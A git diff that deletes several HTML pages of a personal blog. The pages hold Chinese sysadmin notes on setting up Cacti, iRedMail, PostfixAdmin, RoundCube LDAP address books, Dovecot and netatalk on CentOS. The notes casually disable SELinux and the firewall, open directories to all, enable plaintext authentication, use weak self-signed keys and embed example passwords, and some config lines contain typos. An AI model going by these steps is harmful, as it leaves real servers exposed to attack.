    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-centos-6-6-cacti-0-8-8b/index.html b/themes/public/article/e7-ad-86-e8-a8-98-centos-6-6-cacti-0-8-8b/index.html deleted file mode 100644 index d85abe93..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-centos-6-6-cacti-0-8-8b/index.html +++ /dev/null @@ -1,516 +0,0 @@ - - - - - - - - - - [筆記] CentOS 6.6 + CACTI 0.8.8b | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + CACTI 0.8.8b

    -
    - - - 2015-06-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    這幾天弄了一台香港的VPS 想說看看對看影片有沒有幫助

    - -

    VPN 設定好之後,想看看在看影片時,流量可以到多少

    - -

    之前就有用過cacti ,感覺還不錯,裝起來也很容易,就想說來裝裝看

    - -

    沒想到在 centos 6.6 上安裝碰到一堆問題….

    - -

    - -

     

    - -

     

    - -

    在安裝好之後,如果有碰到這樣的錯誤

    - -

      -> RRDTool Command: -> ->

    /usr/bin/rrdtool graph - 
    -> -> –imgformat=PNG
    -> -> –start=‘-86400’
    -> -> –end=‘-300’
    -> -> –title=‘Localhost - Traffic’
    -> -> –rigid
    -> -> –base=‘1000’
    -> -> –height=‘120’
    -> -> –width=‘500’
    -> -> –alt-autoscale-max
    -> -> –lower-limit=‘0’
    -> -> –vertical-label=‘bits per second’
    -> -> –slope-mode
    -> -> –font TITLE:10:
    -> -> –font AXIS:7:
    -> -> –font LEGEND:8:
    -> -> –font UNIT:7:
    -> -> DEF:a=‘/var/www/html/cacti-0.8.8b/rra/localhost_traffic_in_8.rrd’:‘traffic_in’:AVERAGE
    -> -> DEF:b=‘/var/www/html/cacti-0.8.8b/rra/localhost_traffic_in_8.rrd’:‘traffic_out’:AVERAGE
    -> -> CDEF:cdefa=‘a,8,
    -> -> CDEF:cdefe=‘b,8,

    -> -> AREA:cdefa#00CF00FF:‘Inbound’
    -> -> GPRINT:cdefa:LAST:’ Current:%8.2lf %s’
    -> -> GPRINT:cdefa:AVERAGE:‘Average:%8.2lf %s’
    -> -> GPRINT:cdefa:MAX:‘Maximum:%8.2lf %s\n’
    -> -> LINE1:cdefe#002A97FF:‘Outbound’
    -> -> GPRINT:cdefe:LAST:‘Current:%8.2lf %s’
    -> -> GPRINT:cdefe:AVERAGE:‘Average:%8.2lf %s’
    -> -> GPRINT:cdefe:MAX:‘Maximum:%8.2lf %s\n’
    -> -> RRDTool Says: -> ->
    ERROR: opening ‘/var/www/html/cacti-0.8.8b/rra/localhost_traffic_in_8.rrd’: No such file or directory
    ->
    ->
    -> 

    - -

    本來是參考 http://nbaiwan.blog.51cto.com/6286161/1167355 這篇

    - -

    但是裡面的指令我執行起來會發生錯誤

    - -

    去看了一下 yum 裡面就有類似的package

    - -

    只要簡單一行 yum install php-pear-Net-UserAgent-Detect.noarch

    - -

    補上這個package ,然後重起 httpd service

    - -

    cacti 的圖形就正確了!

    - -

    2015-06-10_09-11-19

    - -

     

    - -

    但是,大陸影片還是一堆不能看,我放棄了…

    - -

    認命點,都放到百度雲盤,再下載回來看吧…

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-centos-6-6-iredmail-0-9-4-e5-ae-89-e8-a3-9d-e7-ad-86-e8-a8-98/index.html b/themes/public/article/e7-ad-86-e8-a8-98-centos-6-6-iredmail-0-9-4-e5-ae-89-e8-a3-9d-e7-ad-86-e8-a8-98/index.html deleted file mode 100644 index 2c1adb19..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-centos-6-6-iredmail-0-9-4-e5-ae-89-e8-a3-9d-e7-ad-86-e8-a8-98/index.html +++ /dev/null @@ -1,958 +0,0 @@ - - - - - - - - - - [筆記] CentOS 6.6 + iRedmail 0.9.4 + postfixadmin 安裝筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 6.6 + iRedmail 0.9.4 + postfixadmin 安裝筆記

    -
    - - - 2016-01-27 - - - - - - - - - 未分類 - - - - - -
    - - -

    系統基礎設定

    - -

    Clone from a fresh new install CentOS 6.6 in vmware

    - -

    power on

    - -
    - -

    新增DNS 伺服器

    - -

    vi /etc/resolv.conf

    - -

    刪除內容 新增以下資料

    - -

    nameserver 168.95.1.1

    - -

    nameserver 8.8.8.8

    - -

    nameserver 8.8.4.4

    - -
    - -

    啟動網路卡

    - -

    cp /etc/sysconfig/network-scripts/ifcfg-eth2 /etc/sysconfig/network-scripts/ifcfg-eth3

    - -

    vi /etc/sysconfig/network-scripts

    - -

    刪除 MAC

    - -

    修改底下的設定

    - -

    BOOTPROTO=static -IPADDR=192.168.10.220 -NETMASK=255.255.255.0

    - -

    vi /etc/sysconfig/network

    - -

    NETWORKING=yes -HOSTNAME=iredmail -GATEWAY=192.168.10.246 -

    - -

    service network restart

    - -
    - -

    修改時區

    - -

    yum install ntpdate –y

    - -

    cp /usr/share/zoneinfo/Asia/Taipei /etc/localtime

    - -

    ntpdate 192.168.10.243

    - -
    - -

    reboot (讓hostname 生效)

    - -

    登入

    - -
    - -

    安裝基本指定

    - -

    yum install –y wget telnet vim ftp epel-release bind-utils

    - -
    - -

    下載 iredmail 進行安裝

    - -

    wget https://bitbucket.org/zhb/iredmail/downloads/iRedMail-0.9.4.tar.bz2

    - -

    tar xjf iRedMail-0.9.4.tar.bz2

    - -

    cd iRedMail-0.9.4

    - -

    bash iRedMail.sh -

    - -
    - -

    - -

    IredMail Install

    - -

    1.mailbox directory , just keep it and next

    - -

    pietty0327_2016-01-27_09-15-59

    - -

    2.choose web server ( apache here , more familiar)

    - -

    pietty0327_2016-01-27_09-16-07

    - -

     

    - -

    3. backend choose , MySQL / OpenLDAP  MySQL Here ( but seems some proble with global address book in SOGo)

    - -

    pietty0327_2016-01-27_09-16-16

    - -

     

    - -

    4. your domain

    - -

    pietty0327_2016-01-27_09-16-31

    - -

     

    - -

    5. your password to mail admin

    - -

    pietty0327_2016-01-27_09-16-42

    - -

     

    - -

    6.WEBMAIL , Choose SOGo

    - -

    pietty0327_2016-01-27_09-16-53

    - -

     

    - -

    離開這個畫面後,會開始進行安裝,並且詢問一些問題都按 y ,完成後,會產生一個 iRedMail.tips 裡面有帳號、密碼等資訊

    - -

    接著安裝 phpmyadmin

    - -

    yum install –y phpmyadmin

    - -

    重開機套用

    - -

    reboot

    - -

    -

    - -
    - -

    - -

    開啟 https://hostname/iredmailadmin

    - -

    建立三個USER做測試用

    - -

    登入 https://hostname/SOGo

    - -

    用其中一個帳號登入,收發信件測試 (前提是 DNS 還有防火牆 已經設定好了)

    - -

    檢查通訊錄,發現 Global Address Book (公用通訊錄、全域通訊錄) 居然是空的

    - -

    關機,再做一台來測試 OpenLDAP (VM真他X的方便)

    - -

    shutdown –h now -

    - -
    - -

    - -

    重複 基礎設定 、下載安裝包、進行安裝,改選openLDAP,一開始要輸入 dc=abc,dc=org , 再來輸入 abc.org 其他都一樣

    - -

    安裝完後,多裝一個 phpldapadmin

    - -

    yum install phpldapadmin –y

    - -

    reboot

    - -
    - -

    開啟 https://hostname/iredmailadmin

    - -

    建立三個USER做測試用

    - -

    p.s 等了好久(5分鐘左右吧)才看到頁面,不知道是那邊的問題 (update: 應該是firefox的關係,重設後 OK )

    - -

    要檢視憑證也是很久很久..

    - -

    登入 https://hostname/SOGo

    - -

    Global Address Book 還是看不到東西

    - -

    但是RoundCubeMail 的通訊錄裡面有!!!

    - -

    還要再研究看看,或者就不要管SOGo了,反正RoundCubeMail 本來就比較好看又好用!

    - -

    iexplore_2016-01-27_10-41-02

    - -

     

    - -

    RoundCubeMail的設定檔在 /var/www/roundcubemail/config/config.inc.php

    - -

    有關LDAP ADDRESS BOOK的設定如下 - > // Global LDAP address book. -> $config[‘ldap_public’][“global_ldap_abook”] = array( ->     ‘name’              => ‘Global LDAP Address Book’, ->     ‘hosts’             => array(‘127.0.0.1’), ->     ‘port’              => 389, ->     ‘use_tls’           => false, ->     ‘ldap_version’      => ‘3’, ->     ‘network_timeout’   => 10, ->     ‘user_specific’     => true, -> ->     // Search mail users under same domain. ->     ‘base_dn’       => ‘domainName=%d,o=domains,dc=abc,dc=org’, ->     ‘bind_dn’       => ‘mail=%u@%d,ou=Users,domainName=%d,o=domains,dc=abc,dc=org’, -> ->     ‘hidden’        => false, ->     ‘searchonly’    => false, ->     ‘writable’      => false, -> ->     ‘search_fields’ => array(‘mail’, ‘cn’, ‘sn’, ‘givenName’, ‘street’, ‘telephoneNumber’, ‘mobile’, ‘stree’, ‘postalCode’), -> -> ->  

    - -

    底下這是欄位對應 - > // mapping of contact fields to directory attributes ->   ‘fieldmap’ => array( ->       ‘name’          => ‘cn’, ->       ‘surname’       => ‘sn’, ->       ‘firstname’     => ‘givenName’, ->       ‘title’         => ‘title’, ->       ‘email’         => ‘mail:’, ->       ‘phone:work’    => ‘telephoneNumber’, ->       ‘phone:mobile’  => ‘mobile’, ->       ‘street’        => ‘street’, ->       ‘zipcode’       => ‘postalCode’, ->       ‘locality’      => ‘l’, ->       ‘department’    => ‘departmentNumber’, ->       ‘notes’         => ‘description’, ->       ‘name’          => ‘cn’, ->       ‘surname’       => ‘sn’, ->       ‘firstname’     => ‘givenName’, ->       ‘title’         => ‘title’, ->       ‘email’         => ‘mail:’, ->       ‘phone:work’    => ‘telephoneNumber’, ->       ‘phone:mobile’  => ‘mobile’, ->       ‘phone:workfax’ => ‘facsimileTelephoneNumber’, ->       ‘street’        => ‘street’, ->       ‘zipcode’       => ‘postalCode’, ->       ‘locality’      => ‘l’, ->       ‘department’    => ‘departmentNumber’, ->       ‘notes’         => ‘description’, ->       ‘photo’         => ‘jpegPhoto’, ->   ),

    - -

     

    - -

    - -
    - -

    安裝 PostfixAdmin 取代 iRedMail 預載的陽春管理介面

    - -

    wget http://nchc.dl.sourceforge.net/project/postfixadmin/postfixadmin/postfixadmin-2.93/postfixadmin-2.93.tar.gz

    - -

    tar zxvf postfixadmin-2.93.tar.gz

    - -

    mv postfixadmin-2.93 pfa

    - -

    mv pfa /var/www/html

    - -

    編輯 httpd 設定

    - -

    vim /etc/httpd/conf.d/pfa.conf

    - -

    要安全性的再自己修改 allow / deny 順序和限制 - > Alias /pfa “/var/www/pfa/” -> <Directory “/var/www/pfa/”> ->     Order allow,deny -> Allow from all ->     Options -Indexes -> </Directory>

    - -

    新增 PostfixAdmin 資料庫

    - -

    mysql –u root –p

    - -

    輸入 root 密碼,進入 mysql 介面

    - -

    執行以下指令,建立一個資料庫叫postfix ,一個使用者帳號 postfix 密碼 postfixadmin ,並指定讓使用者postfix可以讀寫 postfix 資料庫

    - -

      CREATE DATABASE postfix; -  CREATE USER ‘postfix’@‘localhost’ IDENTIFIED BY ‘postfixadmin’; -  GRANT ALL PRIVILEGES ON ‘postfix’. * TO ‘postfix’@‘localhost’; -

    - -

    離開mysql 介面

    - -

    編輯 postfixadmin 設定檔

    - -

    vim /var/www/pfa/config.inc.php

    - -

    修改以下設定

    - -

      - > $CONF[‘configured’] = true; -> -> $CONF[‘database_type’] = ‘mysqli’; -> $CONF[‘database_user’] = ‘postfix’; -> $CONF[‘database_password’] = ‘postfixadmin’; -> $CONF[‘database_name’] = ‘postfix’;

    - -

    存檔後離開,開啟postfixadmin 安裝頁面

    - -

    http://ip_address/pfa/setup.php

    - -

    應該會提示有個目錄要有讀寫權限

    - -

    chmod a+rw –R /var/www/pfa/templates_c

    - -

    重整安裝頁面

    - -

    安裝過程其實很簡單

    - -

    注意一下密碼安全性原則,不得小於五個字,至少要有三個英文、兩個數字(我是直接拿掉這段,省得麻煩)

    - -

    安裝過程中會要求你設定一組安裝密碼,然後系統會產生一組編碼過後的字串

    - -

    將這組字串填入 config.inc.php

    - -

    vim /var/www/pfa/config.inc.php

    - -

    註解掉第一個 setup_password 變數,然後填入剛剛系統產生的編碼字串

    - -

    #$CONF[‘setup_password’] = ‘changeme’; -$CONF[‘setup_password’] = ‘7d4b2b0def324a8dc0:80e26d5c’;

    - -

    存檔後離開

    - -

    接著在安裝畫面填入你剛剛輸入的密碼「明文」,不是那個字串,而是你剛剛輸入的安裝密碼

    - -

    建立一個系統管理者帳號、密碼

    - -

    都完成之後,會提示一個連結讓你前往登入,或者自己開啟

    - -

    http://ip_address/pfa/login.php

    - -

    填入剛剛輸入的管理者帳號(全部,包含 @ 後面的域名) 和密碼,登入管理介面,這邊可以順便改語系,內建有繁體中文( 感動! )

    - -

    接著先新建一個網域

    - -

    firefox_2016-01-28_10-20-29

    - -

     

    - -

    然後新增幾個使用者進行測試,而且postfixadmin 內建就可以建立別名,不用像 iredmail 一樣,要透過 mysql 、openldap 之類的方式去建立!

    - -

     

    - -

    firefox_2016-01-28_10-26-18

    - -

     

    - -

    別名的建立畫面

    - -

    firefox_2016-01-28_10-27-26

    - -
    - -

    Update: 更新歡迎信件無法寄出的錯誤

    - -

    經過這樣的修改,postfixadmin 預設有一個發送歡迎信件給新帳號的功能會發生錯誤

    - -

    maillog 裡面會出現 Sender address rejected: not logged in; 這樣的狀況

    - -

    修改postfixadmin的設定

    - -

    vim /var/www/pfa/config.inc.php

    - -

    修改 admin_email

    - -

    $CONF[‘admin_email’] = ‘postmaster@iredmail.abc.org’;  //本來是 postmaster@abc.org , 改成 postmaster@hostname.abc.org

    - -

    測試寄送歡迎信件,應該OK了

    - -

    firefox_2016-01-28_15-41-45

    - -
    - -

     

    - -

    接著登入之前安裝的 roundcubemail 去收發郵件測試正常,

    - -

    不過通訊錄還是抓舊的全域通訊錄,應該還是要透過 phpldapadmin 去修改吧,在想是不是乾脆不要用這個功能,改用現在的方式,去AD抓帳號回來好了。

    - -

    再到手機上測試之前建立的Exchange 帳號也是正常收發!

    - -

    看起來應該大致可以用了!

    - -
    - -

    修正RoundCubeMail 的通訊錄

    用人家寫好的plugin 來新增一個公用通訊錄

    - -

    https://github.com/JohnDoh/Roundcube-Plugin-Global-Address-Book

    - -

    下載並解壓縮到 /var/www/roundcubemail/plugins/globaladdressbook

    - -

    在config 裡面啟用

    - -

    vim /var/www/roundcubemail/config/config.inc.php

    - -

    在 plugins 的地方加入 globaladdressbook

    - -

    $config[‘plugins’] = array(‘managesieve’, ‘password’,‘globaladdressbook’);

    - -

    簡單設定一下

    - -

    vim /var/www/roundcubemail/plugins/globaladdressbook/config.inc.php

    - -

    設定通訊錄的讀寫權限

    - -

    // 0 - global address book is read only -// 1 - users can add, edit and delete contacts (full permissions) -// 2 - users can add but not edit or delete contacts -// 3 - users can add and edit but not delete contacts -

    - -

    $config[‘globaladdressbook_perms’] = 3;

    - -

    設定誰是這個通訊錄的擁有者,理論上應該設定給管理公用通訊錄的人

    - -

    // global address book admin user -// admin user(s) can always add/edit/delete entries, overrides readonly -// either a single username, an array of usernames, or a regular expression, see README for more info -

    - -

    $config[‘globaladdressbook_admin’] = null;

    - -

    存檔後離開,在roundcubemail 的通訊錄中,就可以看到多了一個「公用通訊錄」

    - -

    每個使用者都可以看到,以目前的設定來說,每個人都可以去編輯,但是不能刪除

    - -

    firefox_2016-01-28_14-11-09

    - -

    - -
    - -

    設定ROUNDCUBEMAIL去抓AD 的帳號,不過目前搞不定使用者通訊錄排序的問題,群組的排序倒是OK

    //update 使用者通訊錄的排序也搞定啦!

    - -

    //底下這行本來被註解掉了,取消註解

    - -

    $config[‘addressbook_sort_col’] = ‘name’;

    - -

    改一下config

    - -

    vim /var/www/roundcubemail/config/config.inc.php

    - -

      - > // Global LDAP address book. -> $config[‘ldap_public’][“global_ldap_abook”] = array( -> ‘name’              => ‘Global LDAP Address Book’, -> ‘hosts’             => array(‘192.168.10.243’), //改成AD 的IP -> ‘port’              => 389, -> ‘use_tls’           => false, -> #    ‘ldap_version’      => ‘3’,  //註解掉這行 -> #    ‘network_timeout’   => 10, //註解掉這行 -> ‘user_specific’     => true, -> -> // Search mail users under same domain. -> -> //修改和AD連線的設定, base_dn , bind_dn , bind_pass 都要設定,如果沒設定DN/pass 會發生驗證錯誤,找不到資料的情況 -> ‘base_dn’=> ‘DC=abc,DC=com, DC=tw’, -> ‘bind_dn’ => ‘abc@abc.com.tw’, -> ‘bind_pass’ => ‘abcabc’, -> ‘writable’      => false, -> -> //設定USER搜尋通訊錄時,要尋哪些欄位,欄位越多,搜尋時間越久,為了省時間,只設定搜尋兩個欄位 -> -> ‘search_fields’ => array(‘mail’, ‘cn’),// ‘sn’, ‘givenName’, ‘street’),//, ‘telephoneNumber’, ‘mobile’, ‘stree’, ‘postalCode’), -> -> //底下這些其實可有可無,大部分的欄位對應都在下面的 fieldmap -> -> //然後AD的欄位很奇怪,不管怎麼抓,就是很固執,我有測試去抓 description 欄位來當作顯示名稱 (surname) 但就是沒作用…而且似乎會拖慢速度 -> -> //但是在聯絡人的內容卻有出現設定的描述欄位的資料,就很奇怪,不知道怎麼抓 -> #‘name_field’ => ‘cn’, // this field represents the contact’s name -> #‘firstname_field’ => ‘cn’, // this field represents the contact’s first name -> #‘surname_field’ => ‘cn’, // this field represents the contact’s last name -> ‘email_field’ => ‘mail’, // this field represents the contact’s e-mail -> ‘scope’ => ‘sub’, // search mode: sub|base|list //不知道幹嘛的 -> ‘filter’ => ‘(&(mail=)(!(msExchHideFromAddressLists=TRUE)))‘, // all mail, except the exchange hidden ,抓取所有 mail 屬性有值的紀錄,除了某些刻意隱藏的 -> ‘sort’ => ‘cn’, // The field to sort the listing by. //排序,不過我測試不出來,改成用 mail 排序也沒作用 -> ‘fuzzy_search’ => TRUE ,// server allows wildcard search //預設值 -> -> // mapping of contact fields to directory attributes -> -> //這些都是預設值 AD 欄位跟 LDAP 的對應關係,請參考 https://www.manageengine.com/products/ad-manager/help/csv-import-management/active-directory-ldap-attributes.html -> -> //這些都先註解掉 ->     ‘fieldmap’ => array( -> #       ‘name’          => ‘cn’, ->   #      ‘surname’       => ‘sn’, ->    #     ‘firstname’     => ‘givenName’, ->     #    ‘title’         => ‘title’, ->      #   ‘email’         => ‘mail:’, ->       #  ‘phone:work’    => ‘telephoneNumber’, -> #        ‘phone:mobile’  => ‘mobile’, -> #        ‘street’        => ‘street’, -> #        ‘zipcode’       => ‘postalCode’, -> #        ‘locality’      => ‘l’, -> #        ‘department’    => ‘departmentNumber’, -> #       ‘notes’         => ‘description’, ->   #      ‘name’          => ‘cn’, ->    #     ‘surname’       => ‘sn’, ->     #    ‘firstname’     => ‘givenName’, ->      #   ‘title’         => ‘title’, -> #        ‘email’         => ‘mail:*‘, -> #       ‘phone:work’    => ‘telephoneNumber’, ->   #      ‘phone:mobile’  => ‘mobile’, ->    #     ‘phone:workfax’ => ‘facsimileTelephoneNumber’, ->     #    ‘street’        => ‘street’, ->      #   ‘zipcode’       => ‘postalCode’, -> #        ‘locality’      => ‘l’, -> #       ‘department’    => ‘departmentNumber’, ->   #      ‘notes’         => ‘description’, ->    #     ‘photo’         => ‘jpegPhoto’, ->     ), -> -> -> //fields_map 的內容 改成這樣,留下兩個就夠了,其他有用到再開 > ‘fieldmap’ => array( -> -> ‘name’          => ‘displayName’ , -> -> ‘email’         => ‘mail:*‘, -> -> ), >   ‘sort’          => ‘cn’, //應該是沒作用 -> #    ‘scope’         => ‘sub’, -> #    ‘filter’        => ‘(&(enabledService=mail)(enabledService=deliver)(enabledService=displayedInGlobalAddressBook)(|(objectClass=mailUser)(objectClass=mailList)(objectClass=mailAlias)))‘, -> #    ‘fuzzy_search’  => true, -> #    ‘vlv’           => false,   // Enable Virtual List View to more efficiently fetch paginated data (if server supports it) -> #    ‘sizelimit’     => ‘0’,     // Enables you to limit the count of entries fetched. Setting this to 0 means no limit. -> #    ‘timelimit’     => ‘0’,     // Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit. -> #    ‘referrals’     => false,  // Sets the LDAP_OPT_REFERRALS option. Mostly used in multi-domain Active Directory setups -> -> //底下這是群組的設定 -> -> ‘group_filters’ => array( ->     ‘departments’ => array( ->         ‘name’    => ‘群組’, ->         ‘scope’   => ‘sub’, ->         #‘filter’ = > ‘(&(mail=)(objectClass=group))‘, ->     ‘filter’ => ‘(&(mail=)(objectClass=group)(!(msExchHideFromAddressLists=TRUE)))‘, ->         ‘name_attr’ => ‘description’, ->         ‘email’     => ‘mail’, ->    ), -> ), -> -> ); -> $config[‘autocomplete_addressbooks’] = array(‘sql’, ‘global_ldap_abook’); -> -> -> 群組信箱看到的畫面會是這樣 -> -> firefox_2016-01-28_14-53-22

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-centos-6-x-dovecot-setting/index.html b/themes/public/article/e7-ad-86-e8-a8-98-centos-6-x-dovecot-setting/index.html deleted file mode 100644 index ba71e235..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-centos-6-x-dovecot-setting/index.html +++ /dev/null @@ -1,413 +0,0 @@ - - - - - - - - - - [筆記] Centos 6.x Dovecot Setting | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Centos 6.x Dovecot Setting

    -
    - - - 2015-11-24 - - - - - - - - - 未分類 - - - - - -
    - - -

    /etc/dovecot/conf.d/10-auth.conf

    - -

    add

    - -

    disable_plaingtext_auth = no

    - -

     

    - -

    /etc/dovecot/conf.d/10-mail.conf

    - -

    mail_location = mbox:~/mail:INBOX=/var/mail/%u

    - -

     

    - -

    chkconfig dovecot on

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-centos-e4-b8-8a-e5-ae-89-e8-a3-9d-netatalk-e6-8f-90-e4-be-9b-time-machine-e6-9c-8d-e5-8b-99/index.html b/themes/public/article/e7-ad-86-e8-a8-98-centos-e4-b8-8a-e5-ae-89-e8-a3-9d-netatalk-e6-8f-90-e4-be-9b-time-machine-e6-9c-8d-e5-8b-99/index.html deleted file mode 100644 index 6d6b8fd7..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-centos-e4-b8-8a-e5-ae-89-e8-a3-9d-netatalk-e6-8f-90-e4-be-9b-time-machine-e6-9c-8d-e5-8b-99/index.html +++ /dev/null @@ -1,428 +0,0 @@ - - - - - - - - - - [筆記] centos 上安裝 netatalk 提供 time machine服務 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] centos 上安裝 netatalk 提供 time machine服務

    -
    - - - 2014-02-05 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    本來要在FreeBSD上安裝的

    - -

    但是解決了 netatalk的問題,接下來又碰到 avahi的狀況,看樣子是要安裝一堆有的沒的套件。

    - -

    所以想說換個平台,改來centos裝裝看。

    - -

    netatalk & avahi 安裝很簡單,就yum install就好了

    - -

    不過一開始依照這篇設定完,會發生錯誤

    - -

    http://quanterium.blogspot.tw/2011/11/using-scientific-linuxcentosrhel-6.html

    - -

    Mac mini 要開啟 afp://192.168.10.248 的時候,雖然會詢問帳號密碼,但是輸入完成後,會跳一個警告視窗說不支援這個版本的

    - -

    The server version you are trying to connect its not compatible. Please contact your system administrator to resolve the problem

    - -

    還好下面的留言就有提到

    - -

    Its working now: -in:

    - -

    /etc/netatalk/afpd.conf

    - -

    I had to replace uams_dhx.so to uams_dhx2.so

    - -

    And its working now..

    - -

    修改完之後,就依照上面的指示,去打開Time Machine對網路磁碟的支援

    - -

    defaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1

    - -

    就可以開始使用time machine功能了!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-centos-lamp-postfix-postfixadmin-virtual-mail-multi-domain-sasl-tls-ssl-dovecot-mysql/index.html b/themes/public/article/e7-ad-86-e8-a8-98-centos-lamp-postfix-postfixadmin-virtual-mail-multi-domain-sasl-tls-ssl-dovecot-mysql/index.html deleted file mode 100644 index 7033a366..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-centos-lamp-postfix-postfixadmin-virtual-mail-multi-domain-sasl-tls-ssl-dovecot-mysql/index.html +++ /dev/null @@ -1,1035 +0,0 @@ - - - - - - - - - - [筆記] CentOS LAMP Postfix Postfixadmin Virtual Mail Multi Domain SASL TLS SSL Dovecot MySQL | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS LAMP Postfix Postfixadmin Virtual Mail Multi Domain SASL TLS SSL Dovecot MySQL

    -
    - - - 2016-01-18 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    CentOS LAMP Postfix Postfixadmin Virtual Mail Multi Domain SASL TLS SSL Dovecot MySQL 安裝步驟整理

    - -

    系統基礎

    - -
    - -

    檢查 hostname 是否有設定正確,hostname -f 如果跑不出正確結果,編輯 /etc/hosts 內容

    - -

    #####安裝會用到的小工具

    - -

    yum install epel-release ; yum list > yum.txt -yum install ftp traceroute telnet vim joe lynx bind-utils wget openssl ntpdate mail

    - -

    #####修改時區 -cp /usr/share/zoneinfo/Asia/Taipei /etc/localtime -ntpdate time.stdtime.gov.tw

    - -

    加入 crontab

    - -

    */10 * * * * * ntpdate time.stdtime.gov.tw > /dev/null 2>&1

    - -

    或者是直接安裝 ntp 服務

    - -

    yum install -y ntp

    - -

    vim /etc/ntp.conf

    - -

    加入

    - -

    restrict 192.168.10.0 mask 255.255.255.0

    - -

    server  time.stdtime.gov.tw     iburst -server  192.168.10.243  iburst

    - -

    service ntpd restart

    - -

     

    - -

    #####關閉 SELINUX

    - -

    vim /etc/sysconfig/selinux

    - -

    SELINUX = disabled

    - -

    ##### 關閉防火牆服務,有需要再打開 #####

    - -

    service iptables stop

    - -

    chkconfig –level 235 iptables off

    - -

    ####系統重開機 套用關閉SELINUX

    - -

    reboot

    - -
    - -

    LAMP

    - -

    ## MYSQL 5 ## -yum install mysql mysql-server -chkconfig –levels 235 mysqld on -/etc/init.d/mysqld start -/usr/bin/mysql_secure_installation

    - -

    ## APACHE 2 ## -yum install httpd -chkconfig –levels 235 httpd on

    - -

    ##修改 httpd.conf 裡面的 ServerName 參數 ## -vim /etc/httpd/conf/httpd.conf -ServerName localhost:80 -service httpd start -check http://ip_address

    - -

    ## PHP ## -yum install php php-gd php-mbstring php-mysql mod_ssl php-imap -y

    - -

    ##add a php file in /var/www/html check if php works

    - -

    ##新增一個 PHP 檔案 看看 php 是否可以正常運作 -vim /var/www/html/1.php -<?php -phpinfo(); -?> -lynx localhost/1.php

    - -

     

    - -

    ########## Enable HTTPS ######

    - -

    yum install –y openssl mod_ssl

    - -

    service httpd restart

    - -

    apache 預設就幫我們做好了兩個憑證,位置在/etc/pki/tls/certs  & /etc/pki/tls/private 底下

    - -

    檔名分別叫做 localhost.crt / localhost.key

    - -

    所以修改apache設定去抓這兩個檔案

    - -

     

    - -

    修正

    - -

    沒有預設做好憑證這回事,所以還是要自己做憑證出來

    - -

    openssl genrsa -out ms.abc.com.key 1024 -openssl req -new -key ms.abc.com.key -out ms.abc.com.csr -x509 -req -days 3650 -in ms.abc.com.csr -signkey ms.abc.com.key -out ms.abc.com.crt

    - -

    mv ms.abc.com.crt /etc/pki/tls/certs/

    - -

    mv ms.abc.com.key /etc/pki/tls/private/

    - -

    vim /etc/httpd/conf.d/ssl.conf

    - -

    找到 SSLCertificateFile 、 SSLCertificateKeyFile 這兩個參數

    - -

    加入預設憑證的路徑

    - -

    SSLCertificateFile /etc/pki/tls/certs/ms.abc.com.crt

    - -

    SSLCertificateKeyFile /etc/pki/tls/private/ms.abc.com.key

    - -

    重啟 apache

    - -

    service httpd restart

    - -

    開啟 https 頁面測試看看

    - -

    https://ip_address

    - -

    一開始應該會出現錯誤憑證的畫面,這是因為我們的憑證是自己簽的,而不是透過第三方機構發的。不過無所謂,可以用就好~

    - -

    不然還要花錢去申請..

    - -
    - -

    ##date.timezone -vim /etc/php.ini -date.timezone = Asia/Taipei -service httpd restart

    - -

    ## LAMP DONE

    - -
    - -

    POSTFIX

    - -

    ## POSTFIX / DOVECOT ##

    - -

    Cyrus

    - -

    yum -y install cyrus-sasl cyrus-sasl-devel cyrus-sasl-gssapi cyrus-sasl-md5 cyrus-sasl-plain

    - -

    **#######################################################

    - -
